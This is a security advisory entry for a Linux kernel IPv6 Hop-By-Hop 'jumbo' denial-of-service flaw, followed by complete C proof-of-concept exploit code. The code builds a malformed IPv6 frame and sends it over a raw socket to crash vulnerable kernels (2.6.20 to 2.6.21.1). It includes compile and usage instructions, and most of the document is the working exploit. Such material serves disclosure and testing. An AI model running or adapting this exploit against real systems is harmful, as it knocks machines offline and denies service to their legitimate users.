source: http://www.securityfocus.com/bid/26943/info

The Linux kernel is prone to a remote denial-of-service vulnerability because it fails to adequately validate specially crafted IPv6 'Hop-By-Hop' headers.

Attackers can exploit this issue to cause a kernel panic, denying service to legitimate users.

/*
 * Clemens Kurtenbach <ckurtenbach at s21sec . com>
 * PoC code for exploiting the jumbo bug found in 
 * linux kernels >=2.6.20 and <=2.6.21.1
 * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
 *
 */


/* io */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* network */
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netdb.h>
#include <linux/if.h>

#define MY_FRAME_LEN 1145

char *resolve6(unsigned char *target) {
	char *ret_addr;
	struct in6_addr my_in6;
	char *glob_addr = (char *) &my_in6;
	struct addrinfo addr_hints, *addr_result;
	unsigned char out[64];

	memset(&addr_hints, 0, sizeof(addr_hints));
	addr_hints.ai_family = AF_INET6;

	if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
		printf("getaddrinfo() error\n");
		exit(1); 
	}
	if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, 
out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
		printf("getnameinfo() error\n");
		exit(1);
	}
	if(inet_pton(AF_INET6, out, glob_addr) < 0) {
		printf("inet_pton() error\n");
		exit(1);
	}
	if((ret_addr = malloc(16)) == NULL) {
		printf("malloc() error\n");
		exit(1);
	}
	memcpy(ret_addr, my_in6.s6_addr, 16);
	return ret_addr;
}

int main(int argc, char *argv[]) {

	if (argc < 4) {
		printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> 
<00:11:22:33:44:55> <eth0>\n");
		exit(1);
	}

	/* handle IPv6 destination */
	unsigned char *dest_ip = resolve6(argv[1]);

	/* handle MAC */
	unsigned char dest_mac[7];
	sscanf(argv[2], "%x:%x:%x:%x:%x:%x", 
			(unsigned int*)&dest_mac[0], (unsigned 
int*)&dest_mac[1], 
			(unsigned int*)&dest_mac[2], (unsigned 
int*)&dest_mac[3], 
			(unsigned int*)&dest_mac[4], (unsigned 
int*)&dest_mac[5]);

	/* handle interface */
	unsigned char *iface;
	iface = argv[3];

	/* buffer for ethernet frame */
	void *buffer = (void*)malloc(MY_FRAME_LEN);

	/* pointer to ethenet header */
	unsigned char *etherhead = buffer;
	struct ethhdr *eh = (struct ethhdr *)etherhead;

	/* our MAC address */
	unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 
};
	unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};

	/* prepare socket */
	int s;
	s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		printf("cannot create socket: [%d]\n",s);
		exit(1);
	}

	/* RAW communication */
	struct sockaddr_ll socket_address;
	socket_address.sll_family   = PF_PACKET;	
	socket_address.sll_protocol = htons(ETH_P_IP);	
	socket_address.sll_ifindex  = if_nametoindex(iface);
	socket_address.sll_hatype   = ARPHRD_ETHER;
	socket_address.sll_pkttype  = PACKET_OTHERHOST;
	socket_address.sll_halen    = ETH_ALEN;		

	/* set the frame header */
	memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
	memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
	eh->h_proto = 0xdd86; // IPv6

	/* the buffer we want to send */
	unsigned char bad_buffer[] = { 
		0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 
0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00,
		0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };

	memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);

	/* overwrite our src and dst ip */
	memcpy((void*)(buffer+22), (void*)src_ip, 16);
	memcpy((void*)(buffer+38), dest_ip, 16);

	/* send the buffer */
	int send_result = 0;
	send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct 
sockaddr*)&socket_address, sizeof(socket_address));
	if (send_result == -1) { 
		printf("could not send frame: [%d]\n", send_result); 
		exit(1);
	}
	else printf("frame send to ip [%s] with mac [%s] on iface 
[%s]\n",argv[1],argv[2],argv[3]);

	return 0;
}
